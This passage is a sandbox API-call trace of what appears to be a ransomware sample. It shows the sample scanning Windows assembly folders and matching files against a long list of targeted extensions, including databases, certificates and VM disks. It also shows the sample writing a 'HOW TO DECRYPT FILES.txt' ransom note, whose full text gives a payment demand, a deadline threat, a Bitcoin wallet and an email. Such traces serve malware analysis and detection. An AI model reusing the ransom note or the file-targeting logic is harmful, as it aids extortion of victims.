(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0110.931] lstrlenA (lpString="*.7z") returned 4 [0110.931] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0110.932] lstrlenA (lpString="*.tar") returned 5 [0110.932] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0110.932] lstrlenA (lpString="*.bz2") returned 5 [0110.932] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0110.932] lstrlenA (lpString="*.gz") returned 4 [0110.932] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0110.932] lstrlenA (lpString="*.mkv") returned 5 [0110.932] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0110.932] lstrlenA (lpString="*.eml") returned 5 [0110.932] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0110.932] lstrlenA (lpString="*.msg") returned 5 [0110.932] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0110.932] lstrlenA (lpString="*.edb") returned 5 [0110.932] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0110.932] lstrlenA (lpString="*.accdb") returned 7 [0110.932] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0110.932] lstrlenA (lpString="*.odb") returned 5 [0110.932] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.java") returned 0 [0110.932] lstrlenA (lpString="*.java") returned 6 [0110.932] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0110.932] lstrlenA (lpString="*.asm") returned 5 [0110.932] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0110.932] lstrlenA (lpString="*.pfx") returned 5 [0110.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0110.933] lstrlenA (lpString="*.pem") returned 5 [0110.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0110.933] lstrlenA (lpString="*.p12") returned 5 [0110.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0110.933] lstrlenA (lpString="*.gpg") returned 5 [0110.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0110.933] lstrlenA (lpString="*.vsd") returned 5 [0110.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0110.933] lstrlenA (lpString="*.odg") returned 5 [0110.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0110.933] lstrlenA (lpString="*.raw") returned 5 [0110.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0110.933] lstrlenA (lpString="*.nef") returned 5 [0110.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0110.933] lstrlenA (lpString="*.svg") returned 5 [0110.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0110.933] lstrlenA (lpString="*.psd") returned 5 [0110.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0110.933] lstrlenA (lpString="*.vmx") returned 5 [0110.933] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0110.933] lstrlenA (lpString="*.vmdk") returned 6 [0110.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0110.934] lstrlenA (lpString="*.vdi") returned 5 [0110.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0110.934] lstrlenA (lpString="*.lay6") returned 6 [0110.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0110.934] lstrlenA (lpString="*.mpeg") returned 6 [0110.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0110.934] lstrlenA (lpString="*.djvu") returned 6 [0110.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0110.934] lstrlenA (lpString="*.tiff") returned 6 [0110.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0110.934] lstrlenA (lpString="*.backup") returned 8 [0110.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0110.934] lstrlenA (lpString="*.pdf") returned 5 [0110.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0110.934] lstrlenA (lpString="*.cert") returned 6 [0110.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0110.934] lstrlenA (lpString="*.docm") returned 6 [0110.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0110.934] lstrlenA (lpString="*.xlsm") returned 6 [0110.934] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0110.934] lstrlenA (lpString="*.dwg") returned 5 [0110.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0110.935] lstrlenA (lpString="*.nd") returned 4 [0110.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0110.935] lstrlenA (lpString="*.tlg") returned 5 [0110.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0110.935] lstrlenA (lpString="*.lgb") returned 5 [0110.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0110.935] lstrlenA (lpString="*.mov") returned 5 [0110.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0110.935] lstrlenA (lpString="*.xdw") returned 5 [0110.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0110.935] lstrlenA (lpString="*.ods") returned 5 [0110.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0110.935] lstrlenA (lpString="*.wav") returned 5 [0110.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0110.935] lstrlenA (lpString="*.mp3") returned 5 [0110.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0110.935] lstrlenA (lpString="*.aiff") returned 6 [0110.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0110.935] lstrlenA (lpString="*.flac") returned 6 [0110.935] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0110.936] lstrlenA (lpString="*.m4a") returned 5 [0110.936] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\7ce846d8bc8059eb9c87504b39aba1e3\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0110.936] lstrlenA (lpString="*.csv") returned 5 [0110.936] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61358ae0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x61358ae0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6137ec40, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x14c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0110.936] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0110.936] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72693aa0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x72693aa0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x72693aa0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="8c3f8ef1875a4181a5c0699093b75d4f", cAlternateFileName="8C3F8E~1")) returned 1 [0110.936] lstrcmpA (lpString1=".", lpString2="8c3f8ef1875a4181a5c0699093b75d4f") returned -1 [0110.936] lstrcmpA (lpString1="..", lpString2="8c3f8ef1875a4181a5c0699093b75d4f") returned -1 [0110.936] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0110.936] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="8c3f8ef1875a4181a5c0699093b75d4f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f" [0110.936] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f") returned 100 [0110.936] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72693aa0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x72693aa0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x72693aa0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0110.937] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0110.937] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72693aa0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x72693aa0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x72693aa0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.937] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0110.937] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0110.937] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7266d940, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x7266d940, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x7266d940, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0110.937] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0110.937] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll") returned -1 [0110.937] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll") returned -1 [0110.937] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll") returned -1 [0110.937] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\*.*") returned="*.*" [0110.937] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\" [0110.937] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\") returned="" [0110.937] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\HOW TO DECRYPT FILES.txt" [0110.937] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\8c3f8ef1875a4181a5c0699093b75d4f\\how to decrypt files.txt")) returned 0xffffffff [0110.938] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\8c3f8ef1875a4181a5c0699093b75d4f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0110.952] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0110.952] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0110.954] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0110.954] CloseHandle (hObject=0x90) returned 1 [0110.954] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll" [0110.954] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0110.954] lstrlenA (lpString="*.ems") returned 5 [0110.954] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.db") returned 0 [0110.954] lstrlenA (lpString="*.db") returned 4 [0110.954] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0110.954] lstrlenA (lpString="*.dbf") returned 5 [0110.954] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0110.954] lstrlenA (lpString="*.myox") returned 6 [0110.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0110.955] lstrlenA (lpString="*.myo") returned 5 [0110.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0110.955] lstrlenA (lpString="*.qbw") returned 5 [0110.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0110.955] lstrlenA (lpString="*.qbb") returned 5 [0110.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0110.955] lstrlenA (lpString="*.qbm") returned 5 [0110.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0110.955] lstrlenA (lpString="*.qbo") returned 5 [0110.955] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\8c3f8ef1875a4181a5c0699093b75d4f\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0110.955] lstrlenA (lpString="*.qbx") returned 5 [0110.955] PathMatchSpecA 